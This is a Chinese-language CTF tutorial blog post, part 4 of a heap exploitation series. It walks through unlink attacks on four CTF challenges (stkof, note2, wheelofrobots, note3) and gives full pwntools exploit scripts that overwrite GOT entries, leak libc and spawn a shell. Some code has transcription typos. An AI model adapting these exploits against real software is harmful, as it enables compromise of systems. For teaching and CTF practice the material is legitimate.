NoOne / 2019-09-17 09:11:16 / 浏览数 3614 安全技术 二进制安全 顶(0) 踩(0)

# pwn堆入门系列教程4

pwn堆入门系列教程1 pwn堆入门系列教程2 pwn堆入门系列教程3

序言:这次进入到unlink的学习了,unlink在第一节已经用上了,但我用起来还不是很流畅,还是去翻了第一节的笔记,最主要是指针的问题,可能没学好指针,理解了unl

### 2014 HITCON stkof

### 功能分析

- 1. 几乎无输出的题目
- 2. 申请功能,申请指定大小size
- 3. 删除功能,删除idx位置处的chunk
- 4. 输出一些无用字符串,有个strlen,本来想用来做/bin/sh的,发觉也不行
- 5. 编辑功能

### 漏洞点分析

```
signed __int64 fill()
 signed __int64 result; // rax
 int i; // eax
 unsigned int idx; // [rsp+8h] [rbp-88h]
 __int64 size; // [rsp+10h] [rbp-80h]
 char *ptr; // [rsp+18h] [rbp-78h]
 char s; // [rsp+20h] [rbp-70h]
 unsigned __int64 v6; // [rsp+88h] [rbp-8h]
 v6 = __readfsqword(0x28u);
 fgets(&s, 16, stdin);
 idx = atol(&s);
 if (idx > 0x100000)
  return 0xFFFFFFFFLL;
 if ( !qlobals[idx] )
  return 0xFFFFFFFFLL;
 fgets(&s, 16, stdin);
 size = atoll(&s);
 ptr = globals[idx];
 for ( i = fread(ptr, luLL, size, stdin); i > 0; i = fread(ptr, luLL, size, stdin) )
  ptr += i;
  size -= i;
 if ( size )
  result = 0xFFFFFFFFLL;
 else
  result = OLL;
 return result;
}
```

fill函数里也就是编辑功能处可以自定大小编辑,也就是说存在堆溢出

#### 漏洞利用过程

这里有个小细节,自己补充下知识,关于缓冲区的问题,这个细节也解决了我自己出pwn题的时候输出,为什么输出不了的问题 就是如果未设置缓冲区为0的话,这道题里是第一次调用fgets是要先申请1024大小的堆块作为缓冲区的,还有printf也要申请1024大小的堆块作为缓冲区

知道创宇讲解的一道题目 ctf-wiki讲解这部分知识 1. 首先先申请一块内存,冲掉printf和fgets所需缓冲区

```
free_got = elf.got['free']
  puts_got = elf.got['puts']
  puts_plt = elf.plt['puts']
  atoi_got = elf.got['atoi']
  ptr = 0x00000000000602140+0x10
  alloc(0x100) #idx1
```

1. 是unlink部分,当然用unlink方法来解了,第一节学过了,伪造一个chunk,然后通过溢出覆盖第二个堆块的pre\_size和size,在free第二个堆块的时候就会unlink我们的

```
alloc(0x30) #idx2
  alloc(0x80) #idx3
  alloc(0x30) #idx4
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  fill(2, payload)
  delete(3)
gdb-peda$ x/20gx 0x20f7560-0x30
0x20f7530: 0x00000000000000 0x0000000000001 #chunk2
0x20f7540: 0x00000000000000 0x00000000000000 #p
0x20f7550: 0x0000000000602138 0x0000000000602140
0x20f7560: 0x61616161616161 0x6161616161616161
0x20f7580: 0x00000000000000 0x000000000000000
0x20f7590: 0x00000000000000 0x000000000000000
0x20f75a0: 0x0000000000000 0x000000000000000
0x20f75b0: 0x0000000000000 0x000000000000000
0x20f75c0: 0x0000000000000 0x000000000000000
```

#### 这里已经溢出覆盖掉chunk3的size了

其实unlink已经说过一次了,

- 首先,第一步要过掉unlink的size检测,覆盖chunk3的pre\_size为fake\_chunk大小
- 其次chunk3的insue位要为0,标志前面一个堆块未在使用当中
- 然后关键点就是伪造fd跟bk了
- 在第一点中我将ptr设置为global+0x10意思就是第二块堆块地址,这就是存放p的地方
- unlink第一步 FD = p->fd = ptr-0x18
- unlink第二步 BK=p->bk = ptr-0x10
- unlink第三步 判断FD->bk == p && BK->fd == p?
- 过了检验后
- FD->bk = \*(ptr-0x18 + 0x18) = BK = ptr -0x10
- BK->fd = (ptr-0x10+0x10) = FD = ptr-0x18
   最终结果就是ptr = ptr-0x18, 而ptr是0x00000000000000150故最终就是将global+0x10处的值改为0x602138
   然后我们在编辑第二块的时候实际上就是编辑0x602138处,也就是global-0x8处
- 1. 泄露地址

### 没什么好说的啊,覆写got表为put泄露地址

1. 最后我修改atoi为system,因为输入的会经过atoi转换,所以输入的就是system参数

```
gdb.attach(io)
  fill(4, p64(system_addr))
  io.sendline("/bin/sh\x00")
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'stkof'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'stkof'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
else:
  io = remote(host,port)
EXPLOIT GOES HERE
amd64-64-little
# Arch:
# RELRO: Partial RELRO
# PIE: No PT
# Stack: Canary found
         No PIE (0x400000)
def alloc(size):
  io.sendline("1")
  io.sendline(str(size))
  io.recvuntil("OK\n")
def printf(idx):
  io.sendline("4")
  io.sendline(str(idx))
def fill(idx, content):
  io.sendline("2")
  io.sendline(str(idx))
  io.sendline(str(len(content)))
  io.sendline(content)
  io.recvuntil("OK\n")
def delete(idx):
  io.sendline("3")
  io.sendline(str(idx))
def exp():
  free_got = elf.got['free']
  puts_got = elf.got['puts']
  puts_plt = elf.plt['puts']
  atoi_got = elf.got['atoi']
  ptr = 0x0000000000602140 + 0x10
  #for buffer
```

```
alloc(0x100) #idx1
  alloc(0x30) #idx2
  alloc(0x80) #idx3
  alloc(0x30) #idx4
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  fill(2, payload)
  delete(3)
  payload = 'a'*0x10
  payload += p64(free_got)+p64(puts_got) + 'a'*8 + p64(atoi_got)
  fill(2, payload)
  fill(1,p64(puts_plt))
  delete(2)
  io.recvuntil('FAIL\n')
  io.recvuntil('FAIL\n')
  puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
  libc_base = puts_addr - libc.symbols['puts']
  system_addr = libc_base + libc.symbols['system']
  bin_sh_addr = libc_base + libc.search('/bin/sh').next()
  io.success("libc_base: 0x%x" % libc_base)
  io.success("system_addr: 0x%x" % system_addr)
  qdb.attach(io)
  fill(4, p64(system_addr))
  io.sendline("/bin/sh\x00")
   #qdb.attach(io)
if __name__ == '__main__':
  exp()
   io.interactive()
```

## 2016 ZCTF note2

### ctf-wiki讲解

我只讲差异,里面有的我就不讲了,我只发现了这个漏洞点

程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。

然后我并不会利用这个,本来想利用chunk

io.recvuntil("Content is ")

extends上一节学的,发觉他free后的大小不怎么对,到时看下源码吧,他free后的chunk大小不是合并后的大小,最后看到了大佬讲解的那个0,然后通过-1转成无符号整数

### 漏洞利用过程

第一步构造unlink,原理上一节弄过了,所以感觉这次顺畅好多

atoi\_addr = u64(io.recvline().strip().ljust(8, '\x00'))

io.success("atoi\_addr: 0x%x" % atoi\_addr)
libc\_base = atoi\_addr - libc.symbols['atoi']

```
system addr = libc base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
getshell,因为此时第一块堆块还指向atoi的got表,所以此时编辑下,就可以覆写got表了,输入的时候会将输入串atoi,所以就成为参数了
#get_shell
  editnote(0, 1, p64(system_addr))
  io.sendline("/bin/sh")
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note2'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note2'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
else:
  io = remote(host,port)
#-----
                 EXPLOIT GOES HERE
#-----
# Arch:
         amd64-64-little
# RELRO: Partial RELRO
# Stack:
         Canary found
         NX enabled
# NX:
         No PIE (0x400000)
# PIE:
```

def newnote(size, content):
 io.sendline("1")
 io.sendline(str(size))
 io.sendline(content)

io.sendline("3")
io.sendline(str(idx))
io.sendline(str(choice))
io.sendline(content)

def delete(idx):
 io.sendline("4")
 io.sendline(str(idx))

def shownote(idx):
 io.sendline("2")
 io.sendline(str(idx))

def first():

def exp():

def editnote(idx, choice, content):

io.sendlineafter("Input your name:\n", "greenhand")
io.sendlineafter("Input your address:\n", "greenhand")

```
ptr = 0x0000000000602120
  first()
  # unlink
  payload = p64(0) + p64(0xa0) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x80, 'a')
  newnote(0x80, payload)
  newnote(0, 'b'*0x8)
  newnote(0x80, 'c'*0x20)
  delete(1)
  newnote(0, 'b'*0x10+p64(0xa0)+p64(0x90))
  delete(2)
  # leak
  payload = 'a'*0x18 + p64(elf.got['atoi'])
  editnote(0, 1, payload)
  shownote(0)
  io.recvuntil("TheNewContents:Edit note success!\n")
  io.recvuntil("Content is ")
  atoi\_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  io.success("atoi_addr: 0x%x" % atoi_addr)
  libc_base = atoi_addr - libc.symbols['atoi']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  #get shell
  editnote(0, 1, p64(system_addr))
  io.sendline("/bin/sh")
  qdb.attach(io)
if __name__ == '__main_
  exp()
   io.interactive()
```

## 2017 insomni'hack wheelofrobots

这道题难点我觉得在于代码长了点,然后漏洞点难找了点,其余还好,我自己分析的时候又是一头雾水,只看出free的时候没置空,然后还有的是在change部分,他代销有

### ctf-wiki讲解

我不在分析功能以及漏洞点分析,这次我自己没分析出来,只讲下漏洞利用过程以及过程中踩到的坑

### 漏洞利用过程

#### 1. 准备部分

```
def add(idx, size=0):
   io.sendlineafter("Your choice :", "1")
   io.sendlineafter("Your choice :", str(idx))
   if idx == 2:
       io.sendlineafter("Increase Bender's intelligence: ", str(size))
   elif idx == 3:
       io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
   elif idx == 6:
       io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
   io.sendlineafter("Your choice :", "2")
   io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
   io.sendlineafter("Your choice :", "3")
   io.sendlineafter("Your choice :", str(idx))
   io.sendafter("Robot's name: ", name)
def start_robot():
   io.sendlineafter("Your choice :", "4")
```

```
def off_by_one(byte):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Your choice :", "9999" + byte)

def write(addr1, addr2):
    change(1, p64(addr1))
    change(6, p64(addr2))
```

注意:这里change是sendafter不是sendline,因为sendline会发送多一个\n破坏地址

### 1. off-by-one溢出修改部分

```
add(2, 1)
  remove(2)
  off_by_one('\x01')
  # change fd pointer
  change(2, p64(0x0000000000603138))
  off_by_one('\x00')
  \#pass the fastbin check size=0x20
  add(3, 0x20)
  #now idx2->0x603138->null
  \#get malloc to -> 0x603138
  add(2, 1)
  #now 0x603138->null
  add(1)
  #whell <=2
  remove(2)
  remove(3)
```

我觉得这部分应该是顺风顺水的吧, off-by-one学过了

#### 1. 关键点

```
#now only have idx1 pointer->0x603138 , it's destructor_size

#the size must bigger than remove(2) remove(3)'s size
add(6, 4)
add(3, 7)
#change idx6 size:1000
change(1, p64(1000))
ptr = 0x0000000000000030E8
payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x50, 'a')
payload += p64(0x50) #pre_size
payload += p64(0xa0) #size
change(6, payload)

# unlink
remove(3)
```

这里的话,要注意的就是开头申请的两个add了,那个不能低于remove的大小,不然会重新覆盖到那上边去,至于大小是多少,自己构造就好,然后溢出覆盖unlink,常见

## 1. 修改并泄露地址

```
payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
  change(6, payload)
  #gdb.attach(io)

write(elf.got['exit'], 0x0000000000401855)

# change robot_wheel to 3
  write(0x603130, 3)
  change(1, p64(elf.got['puts']))
  start_robot()
  # leak
  io.recvuntil(" Thx ")
  puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
  io.success("puts_addr: 0x%x" % puts_addr)
```

```
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
```

我觉得这部分跟unlink属于同一部分的,重新修改地址,这里是将tinny改成指向destructor的位置处,这样编辑1就可以编辑第6处指针,在编辑第六处就是写入了,相当于写入完后泄露

```
1. getshell了
```

```
#get shell
  write(elf.got['atoi'], system_addr)
  io.send("sh;#")
```

跟前面套路一样,改掉atoi,然后传入sh就完了,ctf-wiki的改的free

```
exp
```

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'wheelofrobots'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'wheelofrobots'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
else:
  io = remote(host,port)
#
                  EXPLOIT GOES HERE
# Arch:
         amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
        NX enabled
# NX:
# PIE:
         No PIE (0x400000)
def add(idx, size=0):
  io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Your choice :", str(idx))
  if idx == 2:
      io.sendlineafter("Increase Bender's intelligence: ", str(size))
  elif idx == 3:
      io.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
  elif idx == 6:
      io.sendlineafter("Increase Destructor's powerful: ", str(size))
def remove(idx):
  io.sendlineafter("Your choice :", "2")
  io.sendlineafter("Your choice :", str(idx))
def change(idx, name):
  io.sendlineafter("Your choice :", "3")
  io.sendlineafter("Your choice :", str(idx))
  io.sendafter("Robot's name: ", name)
```

```
def start robot():
   io.sendlineafter("Your choice :", "4")
def off_by_one(byte):
   io.sendlineafter("Your choice :", "1")
   io.sendlineafter("Your choice :", "9999" + byte)
def write(addr1, addr2):
   change(1, p64(addr1))
   change(6, p64(addr2))
def exp():
   add(2, 1)
   remove(2)
   off_by_one('\x01')
   # change fd pointer
   change(2, p64(0x0000000000603138))
   off_by_one('\x00')
   \#pass the fastbin check size=0x20
   add(3, 0x20)
   #now idx2->0x603138->null
   \#get malloc to -> 0x603138
   add(2, 1)
   #now 0x603138->null
   add(1)
   #whell <=2
   remove(2)
   remove(3)
   #now only have idx1 pointer->0x603138 , it's destructor_size
   #the size must bigger than remove(2) remove(3)'s size
   add(6, 4)
   add(3, 7)
   #change idx6 size:1000
   change(1, p64(1000))
   ptr = 0x00000000006030E8
   payload = p64(0) + p64(0x50) + p64(ptr-0x18) + p64(ptr-0x10)
   payload = payload.ljust(0x50, 'a')
   payload += p64(0x50) #pre_size
   payload += p64(0xa0) #size
   change(6, payload)
   # unlink
   remove(3)
   payload = p64(0)*2 + 'a'*0x18 + p64(ptr)
   change(6, payload)
   #gdb.attach(io)
   write(elf.got['exit'], 0x000000000401855)
   # change robot_wheel to 3
   write(0x603130, 3)
   change(1, p64(elf.got['puts']))
   start_robot()
   # leak
   io.recvuntil(" Thx ")
   puts_addr = u64(io.recv(6).strip().ljust(8, '\x00'))
   io.success("puts_addr: 0x%x" % puts_addr)
   libc_base = puts_addr - libc.symbols['puts']
   system_addr = libc_base + libc.symbols['system']
   #get shell
   write(elf.got['atoi'], system_addr)
   io.send("sh;#")
```

```
if __name__ == '__main__':
    exp()
    io.interactive()
```

#### zctf-note3

这道题算自己做的了,自己分析漏洞点,自己做,不过有两个位置卡住了,暂时未得以解决先记录下来,从他人wp里获得的解决方案

功能分析

有增删查改,

查询部分是没用的,无法泄露

漏洞点分析

不知道为什么,看到这个读取函数瞬间就懂怎么做了

```
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
    char v4; // [rsp+Ch] [rbp-34h]
    char buf; // [rsp+2Fh] [rbp-11h]
    unsigned __int64 i; // [rsp+30h] [rbp-10h]
    ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
    for ( i = 0LL; a2 - 1 > i; ++i )
{
       v7 = read(0, &buf, luLL);
       if ( v7 <= 0 )
            exit(-1);
       if ( buf == v4 )
            break;
       *(_BYTE *)(i + a1) = buf;
}
    *(_BYTE *)(a1 + i) = 0;
    return i;
}</pre>
```

a2-1跟我前面做过的一两道题都类似,利用0-1负数,然后转成无符号比较,变成很大,也就是堆溢出

注意:这里的坑点就是a3,

a3假设被定为\n,我们sendline的时候sendline(p64(addr))会覆盖到下一个地址的最后一位,并将他改成\x00,这是最坑的点了,我被这个坑了好久

### 漏洞利用过程

1. 准备工作

```
def add(size, content):
    io.sendlineafter("option--->>\n", "1")
    io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
    io.sendlineafter("Input the note content:\n", content)

def show():
    io.sendlineafter("option--->>\n", "2")

def edit(idx, content):
    io.sendlineafter("option--->>\n", "3")
    io.sendlineafter("Input the id of the note:\n", str(idx))
    io.sendlineafter("Input the new content:\n", content)

def delete(idx):
    io.sendlineafter("option--->>\n", "4")
    io.sendlineafter("Input the id of the note:\n", str(idx))
```

不用多说吧,每道堆题一样的套路

#### 1. unlink部分

```
add(0, 'a'*0x8) #idx0
  add(0, 'b'*0x8) #idx1
  add(0x80, 'c'*0x80) #idx2
  ptr = 0x6020c8
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  edit(0, payload)
  delete(2)
```

这里有坑,切记,不能删掉idx1在进行覆盖,会报错,至于具体报错原因我不清楚,我估计是fastbin链上修改成了错误的fd指针,检测到了,这个问题待解决简单的unlink

1. 这里我利用了上一道题的思路,一样的做,修改idx0指向idx1指针部分,通过修改idx0,然后达到任意地址写

```
free_got = elf.got['free']
  puts_plt = elf.plt['puts']
  puts_got = elf.got['puts']
  atol_got = elf.got['atol']
  atoi_got = elf.got['atoi']
  payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
  \#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
  edit(0, payload)
  #edit(0, p64(puts_plt)[:-1])
  edit(1, p64(elf.plt['puts'])[:-1]) #
  #delete(1)
  edit(0, p64(atol_got))
  delete(1)
  atol_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  libc_base = atol_addr - libc.symbols['atol']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  io.success("atol_got: 0x%x" % atol_got)
1. getshell
edit(0, p64(atoi_got))
  edit(1, p64(system_addr)[:-1])
  qdb.attach(io)
  io.sendline("/bin/sh;#")
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'note3'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'note3'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
```

```
io = remote(host,port)
EXPLOIT GOES HERE
# Arch:
          amd64-64-little
# RELRO:
          Partial RELRO
          Canary found
# Stack:
          NX enabled
# NX:
# PIE:
          No PIE (0x400000)
def add(size, content):
  io.sendlineafter("option--->>\n", "1")
  io.sendlineafter("Input the length of the note content:(less than 1024)\n", str(size))
  io.sendlineafter("Input the note content:\n", content)
def show():
  io.sendlineafter("option--->>\n", "2")
def edit(idx, content):
  io.sendlineafter("option--->>\n", "3")
  io.sendlineafter("Input the id of the note:\n", str(idx))
  io.sendlineafter("Input the new content:\n", content)
def delete(idx):
  io.sendlineafter("option--->>\n", "4")
  io.sendlineafter("Input the id of the note:\n", str(idx))
def exp():
  add(0, 'a'*0x8) #idx0
  add(0, 'b'*0x8) #idx1
  add(0x80, 'c'*0x80) #idx2
  ptr = 0x6020c8
  payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10)
  payload = payload.ljust(0x30, 'a')
  payload += p64(0x30)
  payload += p64(0x90)
  edit(0, payload)
  delete(2)
  free_got = elf.got['free']
  puts_plt = elf.plt['puts']
  puts_got = elf.got['puts']
  atol_got = elf.got['atol']
  atoi_got = elf.got['atoi']
  payload = 'a'*0x18 + p64(ptr+8) + p64(elf.got['free'])
  \#payload = 'a'*0x18 + p64(free_got) + p64(puts_got)
  edit(0, payload)
  #edit(0, p64(puts_plt)[:-1])
  edit(1, p64(elf.plt['puts'])[:-1])
   #delete(1)
  edit(0, p64(atol_got))
  delete(1)
  atol\_addr = u64(io.recvline().strip().ljust(8, '\x00'))
  libc_base = atol_addr - libc.symbols['atol']
  system_addr = libc_base + libc.symbols['system']
  io.success("libc_base: 0x%x" % libc_base)
  io.success("atol_got: 0x%x" % atol_got)
  edit(0, p64(atoi_got))
  edit(1, p64(system_addr)[:-1])
  gdb.attach(io)
   io.sendline("/bin/sh;#")
if __name__ == '__main__':
   io.interactive()
```

else:

## 总结

- 1. unlink部分完结了
- 2. unlink部分学习时间4天,现在对于unlink轻车熟路了,不过通常不是单一漏洞点,单一的好分析点
- 3. 要多学学逆向, 逆向起复杂的题目来真的难, 像那个机器人那题, 我连漏洞点都找不到, 真的惨
- 4. 我觉得机器人那题还有另外解法,因为4和5选项越界部分都没用上
- 5. 感谢萝卜师傅的指导

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